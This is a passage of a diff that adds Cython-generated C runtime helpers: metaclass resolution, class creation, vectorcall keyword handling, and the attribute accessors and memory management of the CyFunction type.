+ } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, __pyx_n_s_prepare); + if (prep) { + PyObject *pargs[3] = {NULL, name, bases}; + ns = __Pyx_PyObject_FastCallDict(prep, pargs+1, 2 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, mkw); + Py_DECREF(prep); + } else { + if (unlikely(PyErr_Occurred())) + return NULL; + ns = PyDict_New(); + } + } else { + ns = PyDict_New(); + } + if (unlikely(!ns)) + return NULL; + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_module, modname) < 0)) goto bad; +#if PY_VERSION_HEX >= 0x03030000 + if (unlikely(PyObject_SetItem(ns, __pyx_n_s_qualname, qualname) < 0)) goto bad; +#else + CYTHON_MAYBE_UNUSED_VAR(qualname); +#endif + if (unlikely(doc && PyObject_SetItem(ns, __pyx_n_s_doc, doc) < 0)) goto bad; + return ns; +bad: + Py_DECREF(ns); + return NULL; +} +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS +static int __Pyx_SetNamesPEP487(PyObject *type_obj) { + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *names_to_set, *key, *value, *set_name, *tmp; + Py_ssize_t i = 0; +#if CYTHON_USE_TYPE_SLOTS + names_to_set = PyDict_Copy(type->tp_dict); +#else + { + PyObject *d = PyObject_GetAttr(type_obj, __pyx_n_s_dict); + names_to_set = NULL; + if (likely(d)) { + PyObject *names_to_set = PyDict_New(); + int ret = likely(names_to_set) ? PyDict_Update(names_to_set, d) : -1; + Py_DECREF(d); + if (unlikely(ret < 0)) + Py_CLEAR(names_to_set); + } + } +#endif + if (unlikely(names_to_set == NULL)) + goto bad; + while (PyDict_Next(names_to_set, &i, &key, &value)) { + set_name = __Pyx_PyObject_LookupSpecialNoError(value, __pyx_n_s_set_name); + if (unlikely(set_name != NULL)) { + tmp = __Pyx_PyObject_Call2Args(set_name, type_obj, key); + Py_DECREF(set_name); + if (unlikely(tmp == NULL)) { + __Pyx_TypeName value_type_name = + __Pyx_PyType_GetName(Py_TYPE(value)); + __Pyx_TypeName type_name = __Pyx_PyType_GetName(type); + PyErr_Format(PyExc_RuntimeError, +#if PY_MAJOR_VERSION >= 3 + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %R " "in '" __Pyx_FMT_TYPENAME "'", + value_type_name, key, type_name); +#else + "Error calling __set_name__ on '" __Pyx_FMT_TYPENAME "' instance %.100s in '" __Pyx_FMT_TYPENAME "'", + value_type_name, + PyString_Check(key) ? PyString_AS_STRING(key) : "?", + type_name); +#endif + goto bad; + } else { + Py_DECREF(tmp); + } + } + else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } + Py_DECREF(names_to_set); + return 0; +bad: + Py_XDECREF(names_to_set); + return -1; +} +static PyObject *__Pyx_InitSubclassPEP487(PyObject *type_obj, PyObject *mkw) { +#if CYTHON_USE_TYPE_SLOTS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyTypeObject *type = (PyTypeObject*) type_obj; + PyObject *mro = type->tp_mro; + Py_ssize_t i, nbases; + if (unlikely(!mro)) goto done; + (void) &__Pyx_GetBuiltinName; + Py_INCREF(mro); + nbases = PyTuple_GET_SIZE(mro); + assert(PyTuple_GET_ITEM(mro, 0) == type_obj); + for (i = 1; i < nbases-1; i++) { + PyObject *base, *dict, *meth; + base = PyTuple_GET_ITEM(mro, i); + dict = ((PyTypeObject *)base)->tp_dict; + meth = __Pyx_PyDict_GetItemStrWithError(dict, __pyx_n_s_init_subclass); + if (unlikely(meth)) { + descrgetfunc f = Py_TYPE(meth)->tp_descr_get; + PyObject *res; + Py_INCREF(meth); + if (likely(f)) { + res = f(meth, NULL, type_obj); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + meth = res; + } + res = __Pyx_PyObject_FastCallDict(meth, NULL, 0, mkw); + Py_DECREF(meth); + if (unlikely(!res)) goto bad; + Py_DECREF(res); + goto done; + } else if (unlikely(PyErr_Occurred())) { + goto bad; + } + } +done: + Py_XDECREF(mro); + return type_obj; +bad: + Py_XDECREF(mro); + Py_DECREF(type_obj); + return NULL; +#else + PyObject *super_type, *super, *func, *res; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + super_type = __Pyx_GetBuiltinName(__pyx_n_s_super); +#else + super_type = (PyObject*) &PySuper_Type; + (void) &__Pyx_GetBuiltinName; +#endif + super = likely(super_type) ? __Pyx_PyObject_Call2Args(super_type, type_obj, type_obj) : NULL; +#if CYTHON_COMPILING_IN_PYPY && !defined(PySuper_Type) + Py_XDECREF(super_type); +#endif + if (unlikely(!super)) { + Py_CLEAR(type_obj); + goto done; + } + func = __Pyx_PyObject_GetAttrStrNoError(super, __pyx_n_s_init_subclass); + Py_DECREF(super); + if (likely(!func)) { + if (unlikely(PyErr_Occurred())) + Py_CLEAR(type_obj); + goto done; + } + res = __Pyx_PyObject_FastCallDict(func, NULL, 0, mkw); + Py_DECREF(func); + if (unlikely(!res)) + Py_CLEAR(type_obj); + Py_XDECREF(res); +done: + return type_obj; +#endif +} +#endif +static PyObject *__Pyx_Py3ClassCreate(PyObject *metaclass, PyObject *name, PyObject *bases, + PyObject *dict, PyObject *mkw, + int calculate_metaclass, int allow_py2_metaclass) { + PyObject *result; + PyObject *owned_metaclass = NULL; + PyObject *margs[4] = {NULL, name, bases, dict}; + if (allow_py2_metaclass) { + owned_metaclass = PyObject_GetItem(dict, __pyx_n_s_metaclass); + if (owned_metaclass) { + metaclass = owned_metaclass; + } else if (likely(PyErr_ExceptionMatches(PyExc_KeyError))) { + PyErr_Clear(); + } else { + return NULL; + } + } + if (calculate_metaclass && (!metaclass || PyType_Check(metaclass))) { + metaclass = __Pyx_CalculateMetaclass((PyTypeObject*) metaclass, bases); + Py_XDECREF(owned_metaclass); + if (unlikely(!metaclass)) + return NULL; + owned_metaclass = metaclass; + } + result = __Pyx_PyObject_FastCallDict(metaclass, margs+1, 3 | __Pyx_PY_VECTORCALL_ARGUMENTS_OFFSET, +#if PY_VERSION_HEX < 0x030600A4 + (metaclass == (PyObject*)&PyType_Type) ? NULL : mkw +#else + mkw +#endif + ); + Py_XDECREF(owned_metaclass); +#if PY_VERSION_HEX < 0x030600A4 && CYTHON_PEP487_INIT_SUBCLASS + if (likely(result) && likely(PyType_Check(result))) { + if (unlikely(__Pyx_SetNamesPEP487(result) < 0)) { + Py_CLEAR(result); + } else { + result = __Pyx_InitSubclassPEP487(result, mkw); + } + } +#else + (void) &__Pyx_GetBuiltinName; +#endif + return result; +} + +/* PyVectorcallFastCallDict */ + #if CYTHON_METH_FASTCALL +static PyObject *__Pyx_PyVectorcall_FastCallDict_kw(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + PyObject *res = NULL; + PyObject *kwnames; + PyObject **newargs; + PyObject **kwvalues; + Py_ssize_t i, pos; + size_t j; + PyObject *key, *value; + unsigned long keys_are_strings; + Py_ssize_t nkw = PyDict_GET_SIZE(kw); + newargs = (PyObject **)PyMem_Malloc((nargs + (size_t)nkw) * sizeof(args[0])); + if (unlikely(newargs == NULL)) { + PyErr_NoMemory(); + return NULL; + } + for (j = 0; j < nargs; j++) newargs[j] = args[j]; + kwnames = PyTuple_New(nkw); + if (unlikely(kwnames == NULL)) { + PyMem_Free(newargs); + return NULL; + } + kwvalues = newargs + nargs; + pos = i = 0; + keys_are_strings = Py_TPFLAGS_UNICODE_SUBCLASS; + while (PyDict_Next(kw, &pos, &key, &value)) { + keys_are_strings &= Py_TYPE(key)->tp_flags; + Py_INCREF(key); + Py_INCREF(value); + PyTuple_SET_ITEM(kwnames, i, key); + kwvalues[i] = value; + i++; + } + if (unlikely(!keys_are_strings)) { + PyErr_SetString(PyExc_TypeError, "keywords must be strings"); + goto cleanup; + } + res = vc(func, newargs, nargs, kwnames); +cleanup: + Py_DECREF(kwnames); + for (i = 0; i < nkw; i++) + Py_DECREF(kwvalues[i]); + PyMem_Free(newargs); + return res; +} +static CYTHON_INLINE PyObject *__Pyx_PyVectorcall_FastCallDict(PyObject *func, __pyx_vectorcallfunc vc, PyObject *const *args, size_t nargs, PyObject *kw) +{ + if (likely(kw == NULL) || PyDict_GET_SIZE(kw) == 0) { + return vc(func, args, nargs, NULL); + } + return __Pyx_PyVectorcall_FastCallDict_kw(func, vc, args, nargs, kw); +} +#endif + +/* CythonFunctionShared */ + #if CYTHON_COMPILING_IN_LIMITED_API +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + if (__Pyx_CyFunction_Check(func)) { + return PyCFunction_GetFunction(((__pyx_CyFunctionObject*)func)->func) == (PyCFunction) cfunc; + } else if (PyCFunction_Check(func)) { + return PyCFunction_GetFunction(func) == (PyCFunction) cfunc; + } + return 0; +} +#else +static CYTHON_INLINE int __Pyx__IsSameCyOrCFunction(PyObject *func, void *cfunc) { + return __Pyx_CyOrPyCFunction_Check(func) && __Pyx_CyOrPyCFunction_GET_FUNCTION(func) == (PyCFunction) cfunc; +} +#endif +static CYTHON_INLINE void __Pyx__CyFunction_SetClassObj(__pyx_CyFunctionObject* f, PyObject* classobj) { +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + __Pyx_Py_XDECREF_SET( + __Pyx_CyFunction_GetClassObj(f), + ((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#else + __Pyx_Py_XDECREF_SET( + ((PyCMethodObject *) (f))->mm_class, + (PyTypeObject*)((classobj) ? __Pyx_NewRef(classobj) : NULL)); +#endif +} +static PyObject * +__Pyx_CyFunction_get_doc(__pyx_CyFunctionObject *op, void *closure) +{ + CYTHON_UNUSED_VAR(closure); + if (unlikely(op->func_doc == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_doc = PyObject_GetAttrString(op->func, "__doc__"); + if (unlikely(!op->func_doc)) return NULL; +#else + if (((PyCFunctionObject*)op)->m_ml->ml_doc) { +#if PY_MAJOR_VERSION >= 3 + op->func_doc = PyUnicode_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#else + op->func_doc = PyString_FromString(((PyCFunctionObject*)op)->m_ml->ml_doc); +#endif + if (unlikely(op->func_doc == NULL)) + return NULL; + } else { + Py_INCREF(Py_None); + return Py_None; + } +#endif + } + Py_INCREF(op->func_doc); + return op->func_doc; +} +static int +__Pyx_CyFunction_set_doc(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (value == NULL) { + value = Py_None; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_doc, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_name(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_name == NULL)) { +#if CYTHON_COMPILING_IN_LIMITED_API + op->func_name = PyObject_GetAttrString(op->func, "__name__"); +#elif PY_MAJOR_VERSION >= 3 + op->func_name = PyUnicode_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#else + op->func_name = PyString_InternFromString(((PyCFunctionObject*)op)->m_ml->ml_name); +#endif + if (unlikely(op->func_name == NULL)) + return NULL; + } + Py_INCREF(op->func_name); + return op->func_name; +} +static int +__Pyx_CyFunction_set_name(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__name__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_name, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_qualname(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_qualname); + return op->func_qualname; +} +static int +__Pyx_CyFunction_set_qualname(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); +#if PY_MAJOR_VERSION >= 3 + if (unlikely(value == NULL || !PyUnicode_Check(value))) +#else + if (unlikely(value == NULL || !PyString_Check(value))) +#endif + { + PyErr_SetString(PyExc_TypeError, + "__qualname__ must be set to a string object"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_qualname, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_dict(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(op->func_dict == NULL)) { + op->func_dict = PyDict_New(); + if (unlikely(op->func_dict == NULL)) + return NULL; + } + Py_INCREF(op->func_dict); + return op->func_dict; +} +static int +__Pyx_CyFunction_set_dict(__pyx_CyFunctionObject *op, PyObject *value, void *context) +{ + CYTHON_UNUSED_VAR(context); + if (unlikely(value == NULL)) { + PyErr_SetString(PyExc_TypeError, + "function's dictionary may not be deleted"); + return -1; + } + if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "setting function's dictionary to a non-dict"); + return -1; + } + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->func_dict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_globals(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(context); + Py_INCREF(op->func_globals); + return op->func_globals; +} +static PyObject * +__Pyx_CyFunction_get_closure(__pyx_CyFunctionObject *op, void *context) +{ + CYTHON_UNUSED_VAR(op); + CYTHON_UNUSED_VAR(context); + Py_INCREF(Py_None); + return Py_None; +} +static PyObject * +__Pyx_CyFunction_get_code(__pyx_CyFunctionObject *op, void *context) +{ + PyObject* result = (op->func_code) ? op->func_code : Py_None; + CYTHON_UNUSED_VAR(context); + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_init_defaults(__pyx_CyFunctionObject *op) { + int result = 0; + PyObject *res = op->defaults_getter((PyObject *) op); + if (unlikely(!res)) + return -1; + #if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + op->defaults_tuple = PyTuple_GET_ITEM(res, 0); + Py_INCREF(op->defaults_tuple); + op->defaults_kwdict = PyTuple_GET_ITEM(res, 1); + Py_INCREF(op->defaults_kwdict); + #else + op->defaults_tuple = __Pyx_PySequence_ITEM(res, 0); + if (unlikely(!op->defaults_tuple)) result = -1; + else { + op->defaults_kwdict = __Pyx_PySequence_ITEM(res, 1); + if (unlikely(!op->defaults_kwdict)) result = -1; + } + #endif + Py_DECREF(res); + return result; +} +static int +__Pyx_CyFunction_set_defaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyTuple_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__defaults__ must be set to a tuple object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__defaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_tuple, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_defaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_tuple; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_tuple; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_kwdefaults(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value) { + value = Py_None; + } else if (unlikely(value != Py_None && !PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__kwdefaults__ must be set to a dict object"); + return -1; + } + PyErr_WarnEx(PyExc_RuntimeWarning, "changes to cyfunction.__kwdefaults__ will not " + "currently affect the values used in function calls", 1); + Py_INCREF(value); + __Pyx_Py_XDECREF_SET(op->defaults_kwdict, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_kwdefaults(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->defaults_kwdict; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + if (op->defaults_getter) { + if (unlikely(__Pyx_CyFunction_init_defaults(op) < 0)) return NULL; + result = op->defaults_kwdict; + } else { + result = Py_None; + } + } + Py_INCREF(result); + return result; +} +static int +__Pyx_CyFunction_set_annotations(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + if (!value || value == Py_None) { + value = NULL; + } else if (unlikely(!PyDict_Check(value))) { + PyErr_SetString(PyExc_TypeError, + "__annotations__ must be set to a dict object"); + return -1; + } + Py_XINCREF(value); + __Pyx_Py_XDECREF_SET(op->func_annotations, value); + return 0; +} +static PyObject * +__Pyx_CyFunction_get_annotations(__pyx_CyFunctionObject *op, void *context) { + PyObject* result = op->func_annotations; + CYTHON_UNUSED_VAR(context); + if (unlikely(!result)) { + result = PyDict_New(); + if (unlikely(!result)) return NULL; + op->func_annotations = result; + } + Py_INCREF(result); + return result; +} +static PyObject * +__Pyx_CyFunction_get_is_coroutine(__pyx_CyFunctionObject *op, void *context) { + int is_coroutine; + CYTHON_UNUSED_VAR(context); + if (op->func_is_coroutine) { + return __Pyx_NewRef(op->func_is_coroutine); + } + is_coroutine = op->flags & __Pyx_CYFUNCTION_COROUTINE; +#if PY_VERSION_HEX >= 0x03050000 + if (is_coroutine) { + PyObject *module, *fromlist, *marker = __pyx_n_s_is_coroutine; + fromlist = PyList_New(1); + if (unlikely(!fromlist)) return NULL; + Py_INCREF(marker); +#if CYTHON_ASSUME_SAFE_MACROS + PyList_SET_ITEM(fromlist, 0, marker); +#else + if (unlikely(PyList_SetItem(fromlist, 0, marker) < 0)) { + Py_DECREF(marker); + Py_DECREF(fromlist); + return NULL; + } +#endif + module = PyImport_ImportModuleLevelObject(__pyx_n_s_asyncio_coroutines, NULL, NULL, fromlist, 0); + Py_DECREF(fromlist); + if (unlikely(!module)) goto ignore; + op->func_is_coroutine = __Pyx_PyObject_GetAttrStr(module, marker); + Py_DECREF(module); + if (likely(op->func_is_coroutine)) { + return __Pyx_NewRef(op->func_is_coroutine); + } +ignore: + PyErr_Clear(); + } +#endif + op->func_is_coroutine = __Pyx_PyBool_FromLong(is_coroutine); + return __Pyx_NewRef(op->func_is_coroutine); +} +#if CYTHON_COMPILING_IN_LIMITED_API +static PyObject * +__Pyx_CyFunction_get_module(__pyx_CyFunctionObject *op, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_GetAttrString(op->func, "__module__"); +} +static int +__Pyx_CyFunction_set_module(__pyx_CyFunctionObject *op, PyObject* value, void *context) { + CYTHON_UNUSED_VAR(context); + return PyObject_SetAttrString(op->func, "__module__", value); +} +#endif +static PyGetSetDef __pyx_CyFunction_getsets[] = { + {(char *) "func_doc", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "__doc__", (getter)__Pyx_CyFunction_get_doc, (setter)__Pyx_CyFunction_set_doc, 0, 0}, + {(char *) "func_name", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__name__", (getter)__Pyx_CyFunction_get_name, (setter)__Pyx_CyFunction_set_name, 0, 0}, + {(char *) "__qualname__", (getter)__Pyx_CyFunction_get_qualname, (setter)__Pyx_CyFunction_set_qualname, 0, 0}, + {(char *) "func_dict", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "__dict__", (getter)__Pyx_CyFunction_get_dict, (setter)__Pyx_CyFunction_set_dict, 0, 0}, + {(char *) "func_globals", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "__globals__", (getter)__Pyx_CyFunction_get_globals, 0, 0, 0}, + {(char *) "func_closure", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "__closure__", (getter)__Pyx_CyFunction_get_closure, 0, 0, 0}, + {(char *) "func_code", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "__code__", (getter)__Pyx_CyFunction_get_code, 0, 0, 0}, + {(char *) "func_defaults", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__defaults__", (getter)__Pyx_CyFunction_get_defaults, (setter)__Pyx_CyFunction_set_defaults, 0, 0}, + {(char *) "__kwdefaults__", (getter)__Pyx_CyFunction_get_kwdefaults, (setter)__Pyx_CyFunction_set_kwdefaults, 0, 0}, + {(char *) "__annotations__", (getter)__Pyx_CyFunction_get_annotations, (setter)__Pyx_CyFunction_set_annotations, 0, 0}, + {(char *) "_is_coroutine", (getter)__Pyx_CyFunction_get_is_coroutine, 0, 0, 0}, +#if CYTHON_COMPILING_IN_LIMITED_API + {"__module__", (getter)__Pyx_CyFunction_get_module, (setter)__Pyx_CyFunction_set_module, 0, 0}, +#endif + {0, 0, 0, 0, 0} +}; +static PyMemberDef __pyx_CyFunction_members[] = { +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__module__", T_OBJECT, offsetof(PyCFunctionObject, m_module), 0, 0}, +#endif +#if CYTHON_USE_TYPE_SPECS + {(char *) "__dictoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_dict), READONLY, 0}, +#if CYTHON_METH_FASTCALL +#if CYTHON_BACKPORT_VECTORCALL + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_vectorcall), READONLY, 0}, +#else +#if !CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__vectorcalloffset__", T_PYSSIZET, offsetof(PyCFunctionObject, vectorcall), READONLY, 0}, +#endif +#endif +#endif +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(__pyx_CyFunctionObject, func_weakreflist), READONLY, 0}, +#else + {(char *) "__weaklistoffset__", T_PYSSIZET, offsetof(PyCFunctionObject, m_weakreflist), READONLY, 0}, +#endif +#endif + {0, 0, 0, 0, 0} +}; +static PyObject * +__Pyx_CyFunction_reduce(__pyx_CyFunctionObject *m, PyObject *args) +{ + CYTHON_UNUSED_VAR(args); +#if PY_MAJOR_VERSION >= 3 + Py_INCREF(m->func_qualname); + return m->func_qualname; +#else + return PyString_FromString(((PyCFunctionObject*)m)->m_ml->ml_name); +#endif +} +static PyMethodDef __pyx_CyFunction_methods[] = { + {"__reduce__", (PyCFunction)__Pyx_CyFunction_reduce, METH_VARARGS, 0}, + {0, 0, 0, 0} +}; +#if PY_VERSION_HEX < 0x030500A0 || CYTHON_COMPILING_IN_LIMITED_API +#define __Pyx_CyFunction_weakreflist(cyfunc) ((cyfunc)->func_weakreflist) +#else +#define __Pyx_CyFunction_weakreflist(cyfunc) (((PyCFunctionObject*)cyfunc)->m_weakreflist) +#endif +static PyObject *__Pyx_CyFunction_Init(__pyx_CyFunctionObject *op, PyMethodDef *ml, int flags, PyObject* qualname, + PyObject *closure, PyObject *module, PyObject* globals, PyObject* code) { +#if !CYTHON_COMPILING_IN_LIMITED_API + PyCFunctionObject *cf = (PyCFunctionObject*) op; +#endif + if (unlikely(op == NULL)) + return NULL; +#if CYTHON_COMPILING_IN_LIMITED_API + op->func = PyCFunction_NewEx(ml, (PyObject*)op, module); + if (unlikely(!op->func)) return NULL; +#endif + op->flags = flags; + __Pyx_CyFunction_weakreflist(op) = NULL; +#if !CYTHON_COMPILING_IN_LIMITED_API + cf->m_ml = ml; + cf->m_self = (PyObject *) op; +#endif + Py_XINCREF(closure); + op->func_closure = closure; +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_XINCREF(module); + cf->m_module = module; +#endif + op->func_dict = NULL; + op->func_name = NULL; + Py_INCREF(qualname); + op->func_qualname = qualname; + op->func_doc = NULL; +#if PY_VERSION_HEX < 0x030900B1 || CYTHON_COMPILING_IN_LIMITED_API + op->func_classobj = NULL; +#else + ((PyCMethodObject*)op)->mm_class = NULL; +#endif + op->func_globals = globals; + Py_INCREF(op->func_globals); + Py_XINCREF(code); + op->func_code = code; + op->defaults_pyobjects = 0; + op->defaults_size = 0; + op->defaults = NULL; + op->defaults_tuple = NULL; + op->defaults_kwdict = NULL; + op->defaults_getter = NULL; + op->func_annotations = NULL; + op->func_is_coroutine = NULL; +#if CYTHON_METH_FASTCALL + switch (ml->ml_flags & (METH_VARARGS | METH_FASTCALL | METH_NOARGS | METH_O | METH_KEYWORDS | METH_METHOD)) { + case METH_NOARGS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_NOARGS; + break; + case METH_O: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_O; + break; + case METH_METHOD | METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS_METHOD; + break; + case METH_FASTCALL | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = __Pyx_CyFunction_Vectorcall_FASTCALL_KEYWORDS; + break; + case METH_VARARGS | METH_KEYWORDS: + __Pyx_CyFunction_func_vectorcall(op) = NULL; + break; + default: + PyErr_SetString(PyExc_SystemError, "Bad call flags for CyFunction"); + Py_DECREF(op); + return NULL; + } +#endif + return (PyObject *) op; +} +static int +__Pyx_CyFunction_clear(__pyx_CyFunctionObject *m) +{ + Py_CLEAR(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_CLEAR(m->func); +#else + Py_CLEAR(((PyCFunctionObject*)m)->m_module); +#endif + Py_CLEAR(m->func_dict); + Py_CLEAR(m->func_name); + Py_CLEAR(m->func_qualname); + Py_CLEAR(m->func_doc); + Py_CLEAR(m->func_globals); + Py_CLEAR(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API +#if PY_VERSION_HEX < 0x030900B1 + Py_CLEAR(__Pyx_CyFunction_GetClassObj(m)); +#else + { + PyObject *cls = (PyObject*) ((PyCMethodObject *) (m))->mm_class; + ((PyCMethodObject *) (m))->mm_class = NULL; + Py_XDECREF(cls); + } +#endif +#endif + Py_CLEAR(m->defaults_tuple); + Py_CLEAR(m->defaults_kwdict); + Py_CLEAR(m->func_annotations); + Py_CLEAR(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_XDECREF(pydefaults[i]); + PyObject_Free(m->defaults); + m->defaults = NULL; + } + return 0; +} +static void __Pyx__CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + if (__Pyx_CyFunction_weakreflist(m) != NULL) + PyObject_ClearWeakRefs((PyObject *) m); + __Pyx_CyFunction_clear(m); + __Pyx_PyHeapTypeObject_GC_Del(m); +} +static void __Pyx_CyFunction_dealloc(__pyx_CyFunctionObject *m) +{ + PyObject_GC_UnTrack(m); + __Pyx__CyFunction_dealloc(m); +} +static int __Pyx_CyFunction_traverse(__pyx_CyFunctionObject *m, visitproc visit, void *arg) +{ + Py_VISIT(m->func_closure); +#if CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(m->func); +#else + Py_VISIT(((PyCFunctionObject*)m)->m_module); +#endif + Py_VISIT(m->func_dict); + Py_VISIT(m->func_name); + Py_VISIT(m->func_qualname); + Py_VISIT(m->func_doc); + Py_VISIT(m->func_globals); + Py_VISIT(m->func_code); +#if !CYTHON_COMPILING_IN_LIMITED_API + Py_VISIT(__Pyx_CyFunction_GetClassObj(m)); +#endif + Py_VISIT(m->defaults_tuple); + Py_VISIT(m->defaults_kwdict); + Py_VISIT(m->func_is_coroutine); + if (m->defaults) { + PyObject **pydefaults = __Pyx_CyFunction_Defaults(PyObject *, m); + int i; + for (i = 0; i < m->defaults_pyobjects; i++) + Py_VISIT(pydefaults[i]); + } + return 0; +} +static PyObject* 